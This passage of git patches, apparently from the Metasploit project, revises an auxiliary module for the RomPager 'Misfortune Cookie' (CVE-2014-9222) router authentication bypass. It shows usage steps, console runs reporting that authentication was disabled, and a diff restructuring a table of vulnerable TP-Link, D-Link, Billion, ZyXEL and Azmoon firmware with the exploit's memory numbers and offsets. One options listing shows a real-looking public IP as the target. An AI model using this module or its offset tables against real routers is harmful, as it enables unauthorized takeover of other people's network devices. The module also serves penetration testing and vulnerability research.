rport ``` + 5. Do: ```set device ``` + 6. Do: ```run``` + 7. You should be able to login into the device without authentication + +## Scenarios + + Example run against TP-Link TD-8840T with firmware V2_100525: +``` +msf > use auxiliary/admin/http/allegro_rompager_auth_bypass +msf auxiliary(allegro_rompager_auth_bypass) > devices + +List of vulnerable devices +========================== + + ID Name Model Firmware Number Offset + -- ---- ----- -------- ------ ------ + 0 Azmoon AZ-D140W 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1 107367693 13 + 1 Billion BiPAC 5102S Av2.7.0.23 (UE0.B1C) 107369694 13 + 2 Billion BiPAC 5102S Bv2.7.0.23 (UE0.B1C) 107369694 13 + 3 Billion BiPAC 5200 2.11.84.0(UE2.C2)3.11.11.6 107369545 9 + 4 Billion BiPAC 5200 2_11_62_2_ UE0.C2D_3_10_16_0 107371218 21 + 5 Billion BiPAC 5200A 2_10_5 _0(RE0.C2)3_6_0_0 107366366 25 + 6 Billion BiPAC 5200A 2_11_38_0 (RE0.C29)3_10_5_0 107371453 9 + 7 Billion BiPAC 5200GR4 2.11.91.0(RE2.C29)3.11.11.52 107367690 21 + 8 Billion BiPAC 5200SRD 2.10.5.0 (UE0.C2C) 3.6.0.0 107368270 1 + 9 Billion BiPAC 5200SRD 2.12.17.0_UE2.C3_3.12.17.0 107371378 37 + 10 Billion BiPAC 5200SRD 2_11_62_2(UE0.C3D)3_11_11_22 107371218 13 + 11 D-Link DSL-2520U Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL 107368902 25 + 12 D-Link DSL-2600U Z1_DSL-2600U 107366496 13 + 13 D-Link DSL-2600U Z2_V1.08_ras 107360133 20 + 14 TP-Link TD-8616 V2_080513 107371483 21 + 15 TP-Link TD-8816 V4_100528_Russia 107369790 17 + 16 TP-Link TD-8816 V4_100524 107369790 17 + 17 TP-Link TD-8816 V5_100528_Russia 107369790 17 + 18 TP-Link TD-8816 V5_100524 107369790 17 + 19 TP-Link TD-8816 V5_100903 107369790 17 + 20 TP-Link TD-8816 V6_100907 107371426 17 + 21 TP-Link TD-8816 V7_111103 107371161 1 + 22 TP-Link TD-8816 V7_130204 107370211 5 + 23 TP-Link TD-8817 V5_100524 107369790 17 + 24 TP-Link TD-8817 V5_100702_TR 107369790 17 + 25 TP-Link TD-8817 V5_100903 107369790 17 + 26 TP-Link TD-8817 V6_100907 107369788 1 + 27 TP-Link TD-8817 V6_101221 107369788 1 + 28 TP-Link TD-8817 V7_110826 107369522 25 + 29 TP-Link TD-8817 V7_130217 107369316 21 + 30 TP-Link TD-8817 V7_120509 107369321 9 + 31 TP-Link TD-8817 V8_140311 107351277 20 + 32 TP-Link TD-8820 V3_091223 107369768 17 + 33 TP-Link TD-8840T V1_080520 107369845 5 + 34 TP-Link TD-8840T V2_100525 107369790 17 + 35 TP-Link TD-8840T V2_100702_TR 107369790 17 + 36 TP-Link TD-8840T V2_090609 107369570 1 + 37 TP-Link TD-8840T V3_101208 107369766 17 + 38 TP-Link TD-8840T V3_110221 107369764 5 + 39 TP-Link TD-8840T V3_120531 107369688 17 + 40 TP-Link TD-W8101G V1_090107 107367772 37 + 41 TP-Link TD-W8101G V1_090107 107367808 21 + 42 TP-Link TD-W8101G V2_100819 107367751 21 + 43 TP-Link TD-W8101G V2_101015_TR 107367749 13 + 44 TP-Link TD-W8101G V2_101101 107367749 13 + 45 TP-Link TD-W8101G V3_110119 107367765 25 + 46 TP-Link TD-W8101G V3_120213 107367052 25 + 47 TP-Link TD-W8101G V3_120604 107365835 1 + 48 TP-Link TD-W8151N V3_120530 107353867 24 + 49 TP-Link TD-W8901G V1_080522 107367787 21 + 50 TP-Link TD-W8901G V1,2_080522 107368013 5 + 51 TP-Link TD-W8901G V2_090113_Turkish 107368013 5 + 52 TP-Link TD-W8901G V3_140512 107367854 9 + 53 TP-Link TD-W8901G V3_100603 107367751 21 + 54 TP-Link TD-W8901G V3_100702_TR 107367751 21 + 55 TP-Link TD-W8901G V3_100901 107367749 13 + 56 TP-Link TD-W8901G V6_110119 107367765 25 + 57 TP-Link TD-W8901G V6_110915 107367682 21 + 58 TP-Link TD-W8901G V6_120418 107365835 1 + 59 TP-Link TD-W8901G V6_120213 107367052 25 + 60 TP-Link TD-W8901GB V3_100727 107367756 13 + 61 TP-Link TD-W8901GB V3_100820 107369393 21 + 62 TP-Link TD-W8901N V1_111211 107353880 0 + 63 TP-Link TD-W8951ND V1_101124,100723,100728 107369839 25 + 64 TP-Link TD-W8951ND V1_110907 107369876 13 + 65 TP-Link TD-W8951ND V1_111125 107369876 13 + 66 TP-Link TD-W8951ND V3.0_110729_FI 107366743 21 + 67 TP-Link TD-W8951ND V3_110721 107366743 21 + 68 TP-Link TD-W8951ND V3_20110729_FI 107366743 21 + 69 TP-Link TD-W8951ND V4_120511 107364759 25 + 70 TP-Link TD-W8951ND V4_120607 107364759 13 + 71 TP-Link TD-W8951ND V4_120912_FL 107364760 21 + 72 TP-Link TD-W8961NB V1_110107 107369844 17 + 73 TP-Link TD-W8961NB V1_110519 107369844 17 + 74 TP-Link TD-W8961NB V2_120319 107367629 21 + 75 TP-Link TD-W8961NB V2_120823 107366421 13 + 76 TP-Link TD-W8961ND V1_100722,101122 107369839 25 + 77 TP-Link TD-W8961ND V1_101022_TR 107369839 25 + 78 TP-Link TD-W8961ND V1_111125 107369876 13 + 79 TP-Link TD-W8961ND V2_120427 107364732 25 + 80 TP-Link TD-W8961ND V2_120710_UK 107364771 37 + 81 TP-Link TD-W8961ND V2_120723_FI 107364762 29 + 82 TP-Link TD-W8961ND V3_120524,120808 107353880 0 + 83 TP-Link TD-W8961ND V3_120830 107353414 36 + 84 ZyXEL P-660R-T3 3.40(BOQ.0)C0 107369567 21 + 85 ZyXEL P-660RU-T3 3.40(BJR.0)C0 107369567 21 + +msf auxiliary(allegro_rompager_auth_bypass) > show options + +Module options (auxiliary/admin/http/allegro_rompager_auth_bypass): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST yes The target address + RPORT 80 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes URI to test + VHOST no HTTP server virtual host + device yes ID of device from list of vulnerable devices + +msf auxiliary(allegro_rompager_auth_bypass) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +msf auxiliary(allegro_rompager_auth_bypass) > set device 33 +device => 33 +msf auxiliary(allegro_rompager_auth_bypass) > run + +[*] Device name: TP-Link +[*] Device model: TD-8840T +[*] Device firmware: V1_080520 +[-] Exploit failed +[*] Auxiliary module execution completed +msf auxiliary(allegro_rompager_auth_bypass) > set device 34 +device => 34 +msf auxiliary(allegro_rompager_auth_bypass) > run + +[*] Device name: TP-Link +[*] Device model: TD-8840T +[*] Device firmware: V2_100525 +[+] Exploit sent, please check host, authentication should be disabled +[*] Auxiliary module execution completed +``` From 6c9e43f2ad92a80440fdbb9e4ff5563eac1e23b6 Mon Sep 17 00:00:00 2001 From: j91321 Date: Fri, 30 Dec 2016 23:52:29 +0100 Subject: [PATCH 017/426] Add fingerprinting of devices, change documentation --- .../http/allegro_rompager_auth_bypass.md | 124 +----- .../http/allegro_rompager_auth_bypass.rb | 383 ++++++++---------- 2 files changed, 177 insertions(+), 330 deletions(-) diff --git a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md index 364b91e440..2d7430753c 100644 --- a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md @@ -94,109 +94,14 @@ Following is list of devices and firmware versions with known values used for ex 2. Do: ```use auxiliary/admin/http/allegro_rompager_auth_bypass``` 3. Do: ```set rhost ``` 4. Do: ```set rport ``` - 5. Do: ```set device ``` - 6. Do: ```run``` - 7. You should be able to login into the device without authentication + 5. Do: ```run``` + 6. You should be able to login into the device without authentication ## Scenarios - Example run against TP-Link TD-8840T with firmware V2_100525: + Example run against TP-Link TD-8817: ``` msf > use auxiliary/admin/http/allegro_rompager_auth_bypass -msf auxiliary(allegro_rompager_auth_bypass) > devices - -List of vulnerable devices -========================== - - ID Name Model Firmware Number Offset - -- ---- ----- -------- ------ ------ - 0 Azmoon AZ-D140W 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1 107367693 13 - 1 Billion BiPAC 5102S Av2.7.0.23 (UE0.B1C) 107369694 13 - 2 Billion BiPAC 5102S Bv2.7.0.23 (UE0.B1C) 107369694 13 - 3 Billion BiPAC 5200 2.11.84.0(UE2.C2)3.11.11.6 107369545 9 - 4 Billion BiPAC 5200 2_11_62_2_ UE0.C2D_3_10_16_0 107371218 21 - 5 Billion BiPAC 5200A 2_10_5 _0(RE0.C2)3_6_0_0 107366366 25 - 6 Billion BiPAC 5200A 2_11_38_0 (RE0.C29)3_10_5_0 107371453 9 - 7 Billion BiPAC 5200GR4 2.11.91.0(RE2.C29)3.11.11.52 107367690 21 - 8 Billion BiPAC 5200SRD 2.10.5.0 (UE0.C2C) 3.6.0.0 107368270 1 - 9 Billion BiPAC 5200SRD 2.12.17.0_UE2.C3_3.12.17.0 107371378 37 - 10 Billion BiPAC 5200SRD 2_11_62_2(UE0.C3D)3_11_11_22 107371218 13 - 11 D-Link DSL-2520U Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL 107368902 25 - 12 D-Link DSL-2600U Z1_DSL-2600U 107366496 13 - 13 D-Link DSL-2600U Z2_V1.08_ras 107360133 20 - 14 TP-Link TD-8616 V2_080513 107371483 21 - 15 TP-Link TD-8816 V4_100528_Russia 107369790 17 - 16 TP-Link TD-8816 V4_100524 107369790 17 - 17 TP-Link TD-8816 V5_100528_Russia 107369790 17 - 18 TP-Link TD-8816 V5_100524 107369790 17 - 19 TP-Link TD-8816 V5_100903 107369790 17 - 20 TP-Link TD-8816 V6_100907 107371426 17 - 21 TP-Link TD-8816 V7_111103 107371161 1 - 22 TP-Link TD-8816 V7_130204 107370211 5 - 23 TP-Link TD-8817 V5_100524 107369790 17 - 24 TP-Link TD-8817 V5_100702_TR 107369790 17 - 25 TP-Link TD-8817 V5_100903 107369790 17 - 26 TP-Link TD-8817 V6_100907 107369788 1 - 27 TP-Link TD-8817 V6_101221 107369788 1 - 28 TP-Link TD-8817 V7_110826 107369522 25 - 29 TP-Link TD-8817 V7_130217 107369316 21 - 30 TP-Link TD-8817 V7_120509 107369321 9 - 31 TP-Link TD-8817 V8_140311 107351277 20 - 32 TP-Link TD-8820 V3_091223 107369768 17 - 33 TP-Link TD-8840T V1_080520 107369845 5 - 34 TP-Link TD-8840T V2_100525 107369790 17 - 35 TP-Link TD-8840T V2_100702_TR 107369790 17 - 36 TP-Link TD-8840T V2_090609 107369570 1 - 37 TP-Link TD-8840T V3_101208 107369766 17 - 38 TP-Link TD-8840T V3_110221 107369764 5 - 39 TP-Link TD-8840T V3_120531 107369688 17 - 40 TP-Link TD-W8101G V1_090107 107367772 37 - 41 TP-Link TD-W8101G V1_090107 107367808 21 - 42 TP-Link TD-W8101G V2_100819 107367751 21 - 43 TP-Link TD-W8101G V2_101015_TR 107367749 13 - 44 TP-Link TD-W8101G V2_101101 107367749 13 - 45 TP-Link TD-W8101G V3_110119 107367765 25 - 46 TP-Link TD-W8101G V3_120213 107367052 25 - 47 TP-Link TD-W8101G V3_120604 107365835 1 - 48 TP-Link TD-W8151N V3_120530 107353867 24 - 49 TP-Link TD-W8901G V1_080522 107367787 21 - 50 TP-Link TD-W8901G V1,2_080522 107368013 5 - 51 TP-Link TD-W8901G V2_090113_Turkish 107368013 5 - 52 TP-Link TD-W8901G V3_140512 107367854 9 - 53 TP-Link TD-W8901G V3_100603 107367751 21 - 54 TP-Link TD-W8901G V3_100702_TR 107367751 21 - 55 TP-Link TD-W8901G V3_100901 107367749 13 - 56 TP-Link TD-W8901G V6_110119 107367765 25 - 57 TP-Link TD-W8901G V6_110915 107367682 21 - 58 TP-Link TD-W8901G V6_120418 107365835 1 - 59 TP-Link TD-W8901G V6_120213 107367052 25 - 60 TP-Link TD-W8901GB V3_100727 107367756 13 - 61 TP-Link TD-W8901GB V3_100820 107369393 21 - 62 TP-Link TD-W8901N V1_111211 107353880 0 - 63 TP-Link TD-W8951ND V1_101124,100723,100728 107369839 25 - 64 TP-Link TD-W8951ND V1_110907 107369876 13 - 65 TP-Link TD-W8951ND V1_111125 107369876 13 - 66 TP-Link TD-W8951ND V3.0_110729_FI 107366743 21 - 67 TP-Link TD-W8951ND V3_110721 107366743 21 - 68 TP-Link TD-W8951ND V3_20110729_FI 107366743 21 - 69 TP-Link TD-W8951ND V4_120511 107364759 25 - 70 TP-Link TD-W8951ND V4_120607 107364759 13 - 71 TP-Link TD-W8951ND V4_120912_FL 107364760 21 - 72 TP-Link TD-W8961NB V1_110107 107369844 17 - 73 TP-Link TD-W8961NB V1_110519 107369844 17 - 74 TP-Link TD-W8961NB V2_120319 107367629 21 - 75 TP-Link TD-W8961NB V2_120823 107366421 13 - 76 TP-Link TD-W8961ND V1_100722,101122 107369839 25 - 77 TP-Link TD-W8961ND V1_101022_TR 107369839 25 - 78 TP-Link TD-W8961ND V1_111125 107369876 13 - 79 TP-Link TD-W8961ND V2_120427 107364732 25 - 80 TP-Link TD-W8961ND V2_120710_UK 107364771 37 - 81 TP-Link TD-W8961ND V2_120723_FI 107364762 29 - 82 TP-Link TD-W8961ND V3_120524,120808 107353880 0 - 83 TP-Link TD-W8961ND V3_120830 107353414 36 - 84 ZyXEL P-660R-T3 3.40(BOQ.0)C0 107369567 21 - 85 ZyXEL P-660RU-T3 3.40(BJR.0)C0 107369567 21 - msf auxiliary(allegro_rompager_auth_bypass) > show options Module options (auxiliary/admin/http/allegro_rompager_auth_bypass): @@ -204,31 +109,20 @@ Module options (auxiliary/admin/http/allegro_rompager_auth_bypass): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST yes The target address + RHOST 90.178.222.214 yes The target address RPORT 80 yes The target port SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes URI to test VHOST no HTTP server virtual host - device yes ID of device from list of vulnerable devices + msf auxiliary(allegro_rompager_auth_bypass) > set rhost 192.168.1.1 rhost => 192.168.1.1 -msf auxiliary(allegro_rompager_auth_bypass) > set device 33 -device => 33 msf auxiliary(allegro_rompager_auth_bypass) > run -[*] Device name: TP-Link -[*] Device model: TD-8840T -[*] Device firmware: V1_080520 -[-] Exploit failed -[*] Auxiliary module execution completed -msf auxiliary(allegro_rompager_auth_bypass) > set device 34 -device => 34 -msf auxiliary(allegro_rompager_auth_bypass) > run - -[*] Device name: TP-Link -[*] Device model: TD-8840T -[*] Device firmware: V2_100525 -[+] Exploit sent, please check host, authentication should be disabled +[+] Detected device:TP-Link TD-8817 +[-] Bad response +[-] Bad response +[+] Good response, please check host, authentication should be disabled [*] Auxiliary module execution completed ``` diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb index 3018ecbd6e..1bed95dd56 100644 --- a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb +++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info( info, - 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication bypass", + 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", 'Description' => %q( This module exploits HTTP servers that appear to be vulnerable to the 'Misfortune Cookie' vulnerability which affects Allegro Software @@ -38,7 +38,6 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'URI to test', '/']), - OptInt.new('device',[true, 'ID of device from list of vulnerable devices']) ], Exploit::Remote::HttpClient ) end @@ -49,232 +48,186 @@ class MetasploitModule < Msf::Auxiliary } end - # List of known values and models, couldn't find better solution how to store them + # List of known values and models def devices_list - [ - {:name=> 'Azmoon', :model=>'AZ-D140W', :fw=>'2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1', :number=> 107367693, - :offset=> 13}, # 0x803D5A79 # tested - {:name=> 'Billion', :model=>'BiPAC 5102S', :fw=>'Av2.7.0.23 (UE0.B1C)', :number=> 107369694, :offset=> 13}, - # 0x8032204d # ---------- - {:name=> 'Billion', :model=>'BiPAC 5102S', :fw=>'Bv2.7.0.23 (UE0.B1C)', :number=> 107369694, :offset=> 13}, - # 0x8032204d # ---------- - {:name=> 'Billion', :model=>'BiPAC 5200', :fw=>'2.11.84.0(UE2.C2)3.11.11.6', :number=> 107369545, - :offset=> 9}, # 0x803ec2ad # ---------- - {:name=> 'Billion', :model=>'BiPAC 5200', :fw=>'2_11_62_2_ UE0.C2D_3_10_16_0', :number=> 107371218, - :offset=> 21}, # 0x803c53e5 # ---------- - {:name=> 'Billion', :model=>'BiPAC 5200A', :fw=>'2_10_5 _0(RE0.C2)3_6_0_0', :number=> 107366366, - :offset=> 25}, # 0x8038a6e1 # ---------- - {:name=> 'Billion', :model=>'BiPAC 5200A', :fw=>'2_11_38_0 (RE0.C29)3_10_5_0', :number=> 107371453, - :offset=> 9}, # 0x803b3a51 # ---------- - {:name=> 'Billion', :model=>'BiPAC 5200GR4', :fw=>'2.11.91.0(RE2.C29)3.11.11.52', :number=> 107367690, - :offset=> 21}, # 0x803D8A51 # tested - {:name=> 'Billion', :model=>'BiPAC 5200SRD', :fw=>'2.10.5.0 (UE0.C2C) 3.6.0.0', :number=> 107368270, - :offset=> 1}, # 0x8034b109 # ---------- - {:name=> 'Billion', :model=>'BiPAC 5200SRD', :fw=>'2.12.17.0_UE2.C3_3.12.17.0', :number=> 107371378, - :offset=> 37}, # 0x8040587d # ---------- - {:name=> 'Billion', :model=>'BiPAC 5200SRD', :fw=>'2_11_62_2(UE0.C3D)3_11_11_22', :number=> 107371218, - :offset=> 13}, # 0x803c49d5 # ---------- - {:name=> 'D-Link', :model=>'DSL-2520U', :fw=>'Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL', - :number=> 107368902, :offset=> 25}, # 0x803fea01 # tested - {:name=> 'D-Link', :model=>'DSL-2600U', :fw=>'Z1_DSL-2600U', :number=> 107366496, :offset=> 13}, - # 0x8040637d # ---------- - {:name=> 'D-Link', :model=>'DSL-2600U', :fw=>'Z2_V1.08_ras', :number=> 107360133, :offset=> 20}, - # 0x803389B0 # ---------- - {:name=> 'TP-Link', :model=>'TD-8616', :fw=>'V2_080513', :number=> 107371483, :offset=> 21}, - # 0x80397055 # ---------- - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V4_100528_Russia', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V4_100524', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V5_100528_Russia', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V5_100524', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # tested - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V5_100903', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V6_100907', :number=> 107371426, :offset=> 17}, - # 0x803c6e09 # ---------- - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V7_111103', :number=> 107371161, :offset=> 1}, - # 0x803e1bd5 # ---------- - {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V7_130204', :number=> 107370211, :offset=> 5}, - # 0x80400c85 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V5_100524', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V5_100702_TR', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V5_100903', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V6_100907', :number=> 107369788, :offset=> 1}, - # 0x803b6e09 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V6_101221', :number=> 107369788, :offset=> 1}, - # 0x803b6e09 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V7_110826', :number=> 107369522, :offset=> 25}, - # 0x803d1bd5 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V7_130217', :number=> 107369316, :offset=> 21}, - # 0x80407625 # ---------- - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V7_120509', :number=> 107369321, :offset=> 9}, - # 0x803fbcc5 # tested - {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V8_140311', :number=> 107351277, :offset=> 20}, - # 0x8024E148 # tested - {:name=> 'TP-Link', :model=>'TD-8820', :fw=>'V3_091223', :number=> 107369768, :offset=> 17}, - # 0x80397E69 # tested - {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V1_080520', :number=> 107369845, :offset=> 5}, - # 0x80387055 # ---------- - {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V2_100525', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # tested - {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V2_100702_TR', :number=> 107369790, :offset=> 17}, - # 0x803ae0b1 # ---------- - {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V2_090609', :number=> 107369570, :offset=> 1}, - # 0x803c65d5 # ---------- - {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V3_101208', :number=> 107369766, :offset=> 17}, - # 0x803c3e89 # tested - {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V3_110221', :number=> 107369764, :offset=> 5}, - # 0x803d1a09 # ---------- - {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V3_120531', :number=> 107369688, :offset=> 17}, - # 0x803fed35 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V1_090107', :number=> 107367772, :offset=> 37}, - # 0x803bf701 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V1_090107', :number=> 107367808, :offset=> 21}, - # 0x803e5b6d # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V2_100819', :number=> 107367751, :offset=> 21}, - # 0x803dc701 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V2_101015_TR', :number=> 107367749, :offset=> 13}, - # 0x803e1829 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V2_101101', :number=> 107367749, :offset=> 13}, - # 0x803e1829 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V3_110119', :number=> 107367765, :offset=> 25}, - # 0x804bb941 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V3_120213', :number=> 107367052, :offset=> 25}, - # 0x804e1ff9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V3_120604', :number=> 107365835, :offset=> 1}, - # 0x804f16a9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8151N', :fw=>'V3_120530', :number=> 107353867, :offset=> 24}, - # 0x8034F3A4 # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V1_080522', :number=> 107367787, :offset=> 21}, - # 0x803AB30D # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V1,2_080522', :number=> 107368013, :offset=> 5}, - # 0x803AB30D # ---------- - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V2_090113_Turkish', :number=> 107368013, :offset=> 5}, - # 0x803AB30D # ---------- - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_140512', :number=> 107367854, :offset=> 9}, - # 0x803cf335 # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_100603', :number=> 107367751, :offset=> 21}, - # 0x803DC701 # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_100702_TR', :number=> 107367751, :offset=> 21}, - # 0x803DC701 # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_100901', :number=> 107367749, :offset=> 13}, - # 0x803E1829 # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_110119', :number=> 107367765, :offset=> 25}, - # 0x804BB941 # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_110915', :number=> 107367682, :offset=> 21}, - # 0x804D7CB9 # tested - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_120418', :number=> 107365835, :offset=> 1}, - # 0x804F16A9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_120213', :number=> 107367052, :offset=> 25}, - # 0x804E1FF9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8901GB', :fw=>'V3_100727', :number=> 107367756, :offset=> 13}, - # 0x803dfbe9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8901GB', :fw=>'V3_100820', :number=> 107369393, :offset=> 21}, - # 0x803f1719 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8901N', :fw=>'V1_111211', :number=> 107353880, :offset=> 0}, - # 0x8034FF94 # tested - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V1_101124,100723,100728', :number=> 107369839, :offset=> 25}, - # 0x803d2d61 # tested - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V1_110907', :number=> 107369876, :offset=> 13}, - # 0x803d6ef9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V1_111125', :number=> 107369876, :offset=> 13}, - # 0x803d6ef9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V3.0_110729_FI', :number=> 107366743, :offset=> 21}, - # 0x804ef189 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V3_110721', :number=> 107366743, :offset=> 21}, - # 0x804ee049 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V3_20110729_FI', :number=> 107366743, :offset=> 21}, - # 0x804ef189 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V4_120511', :number=> 107364759, :offset=> 25}, - # 0x80523979 # tested - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V4_120607', :number=> 107364759, :offset=> 13}, - # 0x80524A91 # tested - {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V4_120912_FL', :number=> 107364760, :offset=> 21}, - # 0x80523859 # tested - {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V1_110107', :number=> 107369844, :offset=> 17}, - # 0x803de3f1 # tested - {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V1_110519', :number=> 107369844, :offset=> 17}, - # 0x803de3f1 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V2_120319', :number=> 107367629, :offset=> 21}, - # 0x80531859 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V2_120823', :number=> 107366421, :offset=> 13}, - # 0x80542e59 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V1_100722,101122', :number=> 107369839, :offset=> 25}, - # 0x803D2D61 # tested - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V1_101022_TR', :number=> 107369839, :offset=> 25}, - # 0x803D2D61 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V1_111125', :number=> 107369876, :offset=> 13}, - # 0x803D6EF9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V2_120427', :number=> 107364732, :offset=> 25}, - # 0x8052e0e9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V2_120710_UK', :number=> 107364771, :offset=> 37}, - # 0x80523AA9 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V2_120723_FI', :number=> 107364762, :offset=> 29}, - # 0x8052B6B1 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V3_120524,120808', :number=> 107353880, :offset=> 0}, - # 0x803605B4 # ---------- - {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V3_120830', :number=> 107353414, :offset=> 36}, - # 0x803605B4 # ---------- - {:name=> 'ZyXEL', :model=>'P-660R-T3', :fw=>'3.40(BOQ.0)C0', :number=> 107369567, :offset=> 21}, - # 0x803db071 # tested - {:name=> 'ZyXEL', :model=>'P-660RU-T3', :fw=>'3.40(BJR.0)C0', :number=> 107369567, :offset=> 21} - ] + { + :'AZ-D140W'=> + {:name=>'Azmoon', :model=>'AZ-D140W', :values=>[ + [107367693, 13] + ]}, + :'BiPAC 5102S'=> + {:name=>'Billion', :model=>'BiPAC 5102S', :values=>[ + [107369694, 13] + ]}, + :'BiPAC 5200'=> + {:name=>'Billion', :model=>'BiPAC 5200', :values=>[ + [107369545, 9], + [107371218, 21] + ]}, + :'BiPAC 5200A'=> + {:name=>'Billion', :model=>'BiPAC 5200A', :values=>[ + [107366366, 25], + [107371453, 9] + ]}, + :'BiPAC 5200GR4'=> + {:name=>'Billion', :model=>'BiPAC 5200GR4', :values=>[ + [107367690, 21] + ]}, + :'BiPAC 5200SRD'=> + {:name=>'Billion', :model=>'BiPAC 5200SRD', :values=>[ + [107368270, 1], + [107371378, 3], + 